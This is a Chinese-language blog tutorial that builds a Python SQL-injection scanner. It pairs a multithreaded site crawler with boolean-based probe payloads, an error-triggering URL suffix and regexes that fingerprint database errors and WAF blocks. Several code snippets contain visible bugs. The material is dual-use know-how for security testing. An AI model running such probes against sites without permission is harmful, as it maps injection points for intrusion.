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Python实现SQL注入检测插件

February 1, 2019 • Read: 1077 • 渗透测试

扫描器需要实现的功能思维导图

爬虫编写思路

首先需要开发一个爬虫用于收集网站的链接,爬虫需要记录已经爬取的链接和待爬取的链接,并且去重,用Python的set()就可以解决,大概流程是:

  1. 输入URL
  2. 下载解析出URL
  3. URL去重,判断是否为本站
  4. 加入到待爬列表
  5. 重复循环

SQL判断思路

  • 通过在URL后面加上AND %d=%d或者OR NOT (%d>%d)
  • %d后面的数字是随机可变的
  • 然后搜索网页中特殊关键词,比如:
MySQL 中是 SQL syntax.*MySQL
Microsoft SQL Server 是 Warning.*mssql_
Microsoft Access 是 Microsoft Access Driver
Oracle 是 Oracle error
IBM DB2 是 DB2 SQL error
SQLite 是 SQLite.Exception
...
  • 通过这些关键词就可以判断出所用的数据库
  • 还需要判断一下waf之类的东西,有这种东西就直接停止。简单的方法就是用特定的URL访问,如果出现了像IP bannedfierwall之类的关键词,可以判断出是waf。具体的正则表达式是(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)

开发准备

请安装这些库

pip install requests
pip install beautifulsoup4

实验环境是Linux,创建一个Code目录,在其中创建一个work文件夹,将其作为工作目录

目录结构

/w8ay.py  // 项目启动主文件
/lib/core // 核心文件存放目录
/lib/core/config.py // 配置文件
/script   // 插件存放
/exp      // exp和poc存放

步骤

SQL检测脚本编写

DBMS_ERRORS = {
    'MySQL': (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
    "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
    "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
    "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
    "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
    "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
    "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
    "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}

通过正则表达式就可以判断出是哪个数据库了

for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
    if (re.search(regex,_content)):
        return True

下面是我们测试语句的payload

BOOLEAN_TESTS = (" AND %d=%d", " OR NOT (%d=%d)")

用报错语句返回正确的内容和错误的内容进行对比

for test_payload in BOOLEAN_TESTS:
    # Right Page
    RANDINT = random.randint(1, 255)
    _url = url + test_payload % (RANDINT, RANDINT)
    content["true"] = Downloader.get(_url)
    _url = url + test_payload % (RANDINT, RANDINT + 1)
    content["false"] = Downloader.get(_url)
    if content["origin"] == content["true"] != content["false"]:
        return "sql found: %" % url

这句

content["origin"] == content["true"] != content["false"]

意思就是当原始网页等于正确的网页不等于错误的网页内容时,就可以判定这个地址存在注入漏洞

完整代码:

import re, random
from lib.core import Download
def sqlcheck(url):
    if (not url.find("?")): # Pseudo-static page
        return false;
    Downloader = Download.Downloader()
    BOOLEAN_TESTS = (" AND %d=%d", " OR NOT (%d=%d)")
    DBMS_ERRORS = {
        # regular expressions used for DBMS recognition based on error message response
        "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
        "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
        "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
        "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
        "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
        "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
        "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
        "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
    }
    _url = url + "%29%28%22%27"
    _content = Downloader.get(_url)
    for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
        if (re.search(regex,_content)):
            return True
    content = {}
    content['origin'] = Downloader.get(_url)
    for test_payload in BOOLEAN_TESTS:
        # Right Page
        RANDINT = random.randint(1, 255)
        _url = url + test_payload % (RANDINT, RANDINT)
        content["true"] = Downloader.get(_url)
        _url = url + test_payload % (RANDINT, RANDINT + 1)
        content["false"] = Downloader.get(_url)
        if content["origin"] == content["true"] != content["false"]:
            return "sql found: %" % url

将这个文件命名为sqlcheck.py,放在/script目录中。代码的第4行作用是查找URL是否包含?,如果不包含,比方说伪静态页面,可能不太好注入,因此需要过滤掉

爬虫的编写

爬虫的思路上面讲过了,先完成URL的管理,我们单独将它作为一个类,文件保存在/lib/core/UrlManager.py

#-*- coding:utf-8 -*-

class UrlManager(object):
    def __init__(self):
        self.new_urls = set()
        self.old_urls = set()
        
    def add_new_url(self, url):
        if url is None:
            return
        if url not in self.new_urls and url not in self.old_urls:
            self.new_urls.add(url)
      
    def add_new_urls(self, urls):
        if urls is None or len(urls) == 0:
            return
        for url in urls:
            self.add_new_url(url)
        
    def has_new_url(self):
        return len(self.new_urls) != 0
     
    def get_new_url(self):
        new_url = self.new_urls.pop()
        self.old_urls.add(new_url)
        return new_url

为了方便,我们也将下载功能单独作为一个类使用,文件保存在lib/core/Downloader.py

#-*- coding:utf-8 -*-
import requests

class Downloader(object):
    def get(self, url):
        r = requests.get(url, timeout = 10)
        if r.status_code != 200:
            return None
        _str = r.text
        return _str
    
    def post(self, url, data):
        r = requests.post(url, data)
        _str = r.text
        return _str
    
    def download(self, url, htmls):
        if url is None:
            return None
        _str = {}
        _str["url"] = url
        try:
            r = requests.get(url, timeout = 10)
            if r.status_code != 200:
                return None
            _str["html"] = r.text
        except Exception as e:
            return None
        htmls.append(_str)

特别说明,因为我们要写的爬虫是多线程的,所以类中有个download方法是专门为多线程下载专用的

lib/core/Spider.py中编写爬虫

#-*- coding:utf-8 -*-

from lib.core import Downloader, UrlManager
import threading
from urllib import parse
from urllib.parse import urljoin
from bs4 import BeautifulSoup

class SpiderMain(object):
    def __init__(self, root, threadNum):
        self.urls = UrlManager.UrlManager()
        self.download = Downloader.Downloader()
        self.root = root
        self.threadNum = threadNum
    
    def _judge(self, domain, url):
        if (url.find(domain) != -1):
            return True
        return False
    
    def _parse(self, page_url, content):
        if content is None:
            return
        soup = BeautifulSoup(content, 'html.parser')
        _news = self._get_new_urls(page_url, soup)
        return _news
        
    def _get_new_urls(self, page_url, soup):
        new_urls = set()
        links = soup.find_all('a')
        for link in links:
            new_url = link.get('href')
            new_full_url = urljoin(page_url, new_url)
            if (self._judge(self.root, new_full_url)):
                new_urls.add(new_full_url)
        return new_urls
        
    def craw(self):
        self.urls.add_new_url(self.root)
        while self.urls.has_new_url():
            _content = []
            th = []
            for i in list(range(self.threadNum)):
                if self.urls.has_new_url() is False:
                    break
                new_url = self.urls.get_new_url()
                
                ## sql check
                try:
                    if (sqlcheck.sqlcheck(new_url)):
                        print("url:%s sqlcheck is valueable" % new_url)
                except:
                    pass
                        
                print("craw:" + new_url)
                t = threading.Thread(target = self.download.download, args = (new_url, _content))
                t.start()
                th.append(t)
            for t in th:
                t.join()
            for _str in _content:
                if _str is None:
                    continue
                new_urls = self._parse(new_url, _str["html"])
                self.urls.add_new_urls(new_urls)

爬虫通过调用craw()方法传入一个网址进行爬行,然后采用多线程的方法下载待爬行的网站,下载之后的源码用_parse方法调用BeautifulSoup进行解析,之后将解析出的URL列表丢入URL管理器,这样循环,最后只要爬完了网页,爬虫就会停止

threading库可以自定义需要开启的线程数,线程开启后,每个线程会得到一个url进行下载,然后线程会阻塞,阻塞完毕后线程放行

爬虫和SQL检查的结合

lib/core/Spider.py文件引用一下from script import sqlcheck,在craw()方法中,取出新的URL地方调用一下

##sql check
try:
    if(sqlcheck.sqlcheck(new_url)):
        print("url:%s sqlcheck is valueable"%new_url)
except:
    pass

try检测可能出现的异常,绕过它,在文件w8ay.py中进行测试

#-*- coding:utf-8 -*-
'''
Name: w8ayScan
Author: mathor
Copyright (c) 2019
'''
import sys
from lib.core.Spider import SpiderMain
def main():
    root = "https://wmathor.com"
    threadNum = 50
    w8 = SpiderMain(root, threadNum)
    w8.craw()
 
if __name__ == "__main__":
    main()

很重要的一点!为了使得libscript文件夹中的.py文件可以可以被认作是模块,请在liblib/corescript文件夹中创建__init__.py文件,文件中什么都不需要写

总结

  • SQL注入检测通过一些payload使页面出错,判断原始网页,正确网页,错误网页即可检测出是否存在SQL注入漏洞
  • 通过匹配出sql报错出来的信息,可以正则判断所用的数据库
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